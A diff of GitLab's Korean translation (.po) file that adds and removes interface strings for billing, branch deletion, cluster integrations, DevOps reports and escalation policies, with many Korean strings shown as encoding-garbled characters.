msgid "Archived projects"
msgstr "ì•„ì¹´ì´ë¸Œëœ 프로ì íŠ¸"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4634,7 +4689,7 @@ msgstr "Let's Encrypt를 사용하여 ì¸ì¦ì„œë¥¼ ìžë™ìœ¼ë¡œ 관리"
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4703,6 +4758,9 @@ msgstr "배경 색"
msgid "Background Jobs"
msgstr "백그ë¼ìš´ë“œ ìž‘ì—…"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "배경 색"
@@ -4859,6 +4917,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4877,6 +4938,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr "%{pricing_page_link}ì—ì„œ ê° ìš”ê¸ˆì œì— ëŒ€í•´ ìžì„¸ížˆ 알아보세요."
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "플랜 관리"
@@ -4892,6 +4956,9 @@ msgstr "ì´ ê·¸ë£¹ì€ ìƒìœ„ ê·¸ë£¹ì˜ í”Œëžœê³¼ ì—°ê²°ë©ë‹ˆë‹¤."
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "ì´ ê·¸ë£¹ì˜ í”Œëžœì„ ê´€ë¦¬í•˜ë ¤ë©´ %{parent_billing_page_link}ì˜ ê²°ì œ ì„¹ì…˜ì„ ë°©ë¬¸í•˜ì„¸ìš”."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -4910,6 +4977,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "ìžì£¼ 묻는 질문"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "ì›”"
@@ -4925,6 +4995,27 @@ msgstr "업그레ì´ë“œ"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -4937,6 +5028,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -4946,6 +5040,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5171,6 +5271,9 @@ msgstr "활성 브랜치"
msgid "Branches|All"
msgstr "모ë‘"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "ì´ ë¸Œëžœì¹˜ì—ì„œ HEAD ì»¤ë°‹ì„ ì°¾ì„ ìˆ˜ ì—†ìŒ"
@@ -5183,6 +5286,9 @@ msgstr "'%{default_branch}'ì— ë¨¸ì§€ëœ ëª¨ë“  브랜치 지우기"
msgid "Branches|Delete branch"
msgstr "브랜치 지우기"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "ë¨¸ì§€ëœ ë¸Œëžœì¹˜ 지우기"
@@ -5192,6 +5298,12 @@ msgstr "ë³´í˜¸ëœ ë¸Œëžœì¹˜ 지우기"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "ë³´í˜¸ëœ ë¸Œëžœì¹˜ì¸ '%{branch_name}'ì„(를) 지울까요?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "'%{branch_name}' 브랜치를 삭제하면 ë˜ëŒë¦´ 수 없습니다. 괜찮습니까?"
@@ -5213,12 +5325,18 @@ msgstr "표시할 브랜치 ì—†ìŒ"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "%{delete_protected_branch}(ì„)를 누른 후ì—는 ì‚­ì œëœ ë¸Œëžœì¹˜ë¥¼ 다시 복구할 수 없습니다."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "프로ì íŠ¸ ê´€ë¦¬ìž ë˜ëŠ” ì†Œìœ ìž ë§Œ 보호 브랜치를 삭제할 수 있습니다."
msgid "Branches|Overview"
msgstr "개요"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "ë³´í˜¸ëœ ë¸Œëžœì¹˜ëŠ” %{project_settings_link} ì—ì„œ 관리할 수 있습니다."
@@ -5252,6 +5370,9 @@ msgstr "ì´ ë¸Œëžœì¹˜ëŠ” 업스트림ì—ì„œ 분기 중ì´ë¯€ë¡œ ìžë™ìœ¼ë¡œ ì—…
msgid "Branches|The default branch cannot be deleted"
msgstr "Default 브랜치는 삭제할 수 없습니다."
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "ì´ ë¸Œëžœì¹˜ëŠ” %{default_branch} ë¡œ 머지ë˜ì§€ 않았습니다."
@@ -5264,6 +5385,18 @@ msgstr "확ì¸í•˜ë ¤ë©´, %{branch_name_confirmation} 를 ìž…ë ¥ 합니다."
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "로컬 ë³€ê²½ì‚¬í•­ì„ ì·¨ì†Œí•˜ê³  업스트림 버전으로 브랜치를 ë®ì–´ì“°ë ¤ë©´ 여기서 삭제하고 '지금 ì—…ë°ì´íŠ¸'를 ì„ íƒí•˜ì„¸ìš”."
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "ë‹¹ì‹ ì€ ë³´í˜¸ëœ %{branch_name} 브랜치를 삭제하려고 합니다."
@@ -5333,6 +5466,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5345,9 +5481,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5414,9 +5556,6 @@ msgstr "%{user_name} ì˜í•´ì„œ"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5465,15 +5604,15 @@ msgstr "CI/CD 구성"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "외부 저장소용 CI/CD"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5481,6 +5620,9 @@ msgid "CICDAnalytics|Release"
msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6174,8 +6316,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "브랜치/태그 (예. %{master})를 ì„ íƒí•˜ê±°ë‚˜ 커밋 (예. %{sha})ì„ ìž…ë ¥í•˜ì—¬ 변경 ì‚¬í•­ì„ í™•ì¸í•˜ê±°ë‚˜ 머지 리퀘스트(MR)ì„ ë§Œë“­ë‹ˆë‹¤."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "íŒŒì¼ ì„ íƒ"
@@ -6558,72 +6700,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6786,6 +6862,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6828,12 +6910,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr "CA ì¸ì¦ì„œ"
@@ -6996,6 +7072,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7080,9 +7159,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Google Cloud Platform 프로ì íŠ¸"
@@ -7143,7 +7219,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7239,9 +7315,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "머신 타입"
@@ -7254,9 +7327,6 @@ msgstr "Kubernetes í´ëŸ¬ìŠ¤í„°ë¥¼ 만들려면 %{link_to_requirements} ë§í¬ì—
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7353,9 +7423,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Kubernetes í´ëŸ¬ìŠ¤í„° 제거"
@@ -7494,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7509,9 +7573,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "문제가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -7785,6 +7846,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr "코드 ì†Œìœ ìž | 패턴"
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -7927,6 +7997,9 @@ msgstr "커밋"
msgid "CommitMessage|Add %{file_name}"
msgstr "%{file_name} 추가"
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr "작성 ë¨"
@@ -8065,9 +8138,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8188,6 +8258,9 @@ msgstr "비밀"
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "웹 í„°ë¯¸ë„ ì‚¬ìš©ì„ ì‹œìž‘í•˜ë„ë¡ GitLab 러너를 구성하십시오. %{helpStart}ìžì„¸ížˆ 알아보십시오.%{helpEnd}"
@@ -8251,6 +8324,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8406,6 +8482,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9085,9 +9164,6 @@ msgstr "새 ë„ë©”ì¸ ë§Œë“¤ê¸°"
msgid "Create Project"
msgstr "프로ì íŠ¸ ìƒì„±"
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9118,9 +9194,6 @@ msgstr "새 저장소 만들기"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr "%{protocol}ì„ (를) 통해 Pull 하거나 Push í•  ê°œì¸ ì•¡ì„¸ìŠ¤ 토í°ì„ 만드십시오."
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9172,6 +9245,9 @@ msgstr "그룹 만들기"
msgid "Create group label"
msgstr "새로운 그룹 ë¼ë²¨"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr "ì´ìŠˆ ìƒì„±"
@@ -9223,6 +9299,9 @@ msgstr "새 íŒŒì¼ ë˜ëŠ” 디렉토리 만들기"
msgid "Create new label"
msgstr "새 ë¼ë²¨ 만들기"
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr "새로 만들기 ..."
@@ -9256,6 +9335,9 @@ msgstr "첫 페ì´ì§€ 만들기"
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9583,27 +9665,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9822,9 +9883,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10044,9 +10111,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10411,6 +10475,9 @@ msgstr ""
msgid "Delete Comment"
msgstr "댓글 삭제"
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11120,22 +11187,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11144,6 +11217,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11171,6 +11247,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11192,6 +11271,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11204,21 +11286,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11285,15 +11379,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr "비활성화ë¨"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11321,6 +11415,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11547,7 +11644,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11562,6 +11659,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11571,9 +11686,6 @@ msgstr "마ê°ì¼"
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr "ì´ ê³¼ì •ì—ì„œ GitLabì˜ URLì„ ë¬»ëŠ” 메시지가 나타납니다. 아래 í‘œì‹œëœ URLì„ ì‚¬ìš©í•˜ì‹­ì‹œì˜¤."
@@ -11688,9 +11800,6 @@ msgstr "공개 ë°°í¬ í‚¤ 편집"
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11745,6 +11854,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -11874,15 +11986,15 @@ msgstr ""
msgid "Embed"
msgstr "임베드"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr "빈 파ì¼"
msgid "Enable"
msgstr "사용"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr "ìžë™ DevOps 활성화"
@@ -11958,6 +12070,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12003,9 +12118,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Pseudonymizer ë°ì´í„° ìˆ˜ì§‘ì„ ì‚¬ìš©í•˜ê±°ë‚˜ 중지합니다."
@@ -12027,9 +12139,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12699,9 +12808,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "êµ¬ë… ì•Œë¦¼ì„ ì „í™˜í•  ë•Œ 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12714,12 +12820,18 @@ msgstr "ì—러가 ë°œìƒí–ˆìŠµë‹ˆë‹¤. ì°¨ë‹¨ëœ ì‚¬ìš©ìžëŠ” 비활성화할 수
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr "ì—러가 ë°œìƒí–ˆìŠµë‹ˆë‹¤. ì°¨ë‹¨ëœ ì‚¬ìš©ìžëŠ” ì°¨ë‹¨ì„ í•´ì œí•´ì•¼ 활성화할 수 있습니다."
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12828,6 +12940,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
